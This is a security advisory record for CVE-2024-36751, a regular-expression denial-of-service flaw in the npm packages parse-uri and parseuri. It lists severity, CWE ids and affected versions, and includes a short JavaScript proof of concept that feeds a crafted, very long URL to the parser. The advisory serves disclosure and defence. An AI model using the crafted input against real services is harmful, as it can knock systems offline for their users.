GHSA-6fx8-h7jm-663j

Source

https://github.com/advisories/GHSA-6fx8-h7jm-663j

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-6fx8-h7jm-663j/GHSA-6fx8-h7jm-663j.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-6fx8-h7jm-663j

Aliases

CVE-2024-36751

Published

2025-01-16T00:31:22Z

Modified

2025-09-03T12:56:48Z

Severity

6.9 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N CVSS Calculator

Summary

parse-uri Regular expression Denial of Service (ReDoS)

Details

An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL. ## PoC

async function exploit() {
    const parseuri = require("parse-uri");
    // This input is designed to cause excessive backtracking in the regex
    const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
    const result = await parseuri(craftedInput);
    }
await exploit();

Database specific

{
    "cwe_ids": [
        "CWE-1333",
        "CWE-185"
    ],
    "github_reviewed_at": "2025-01-17T15:39:05Z",
    "github_reviewed": true,
    "severity": "MODERATE",
    "nvd_published_at": "2025-01-15T22:15:26Z"
}

References

Affected packages

npm / parse-uri

Package

Name: parse-uri; View open source insights on deps.dev
Purl: pkg:npm/parse-uri

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Last affected

1.0.9

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-6fx8-h7jm-663j/GHSA-6fx8-h7jm-663j.json"

npm / parseuri

Package

Name: parseuri; View open source insights on deps.dev
Purl: pkg:npm/parseuri

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Database specific

last_known_affected_version_range

"< 2.0.0"

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-6fx8-h7jm-663j/GHSA-6fx8-h7jm-663j.json"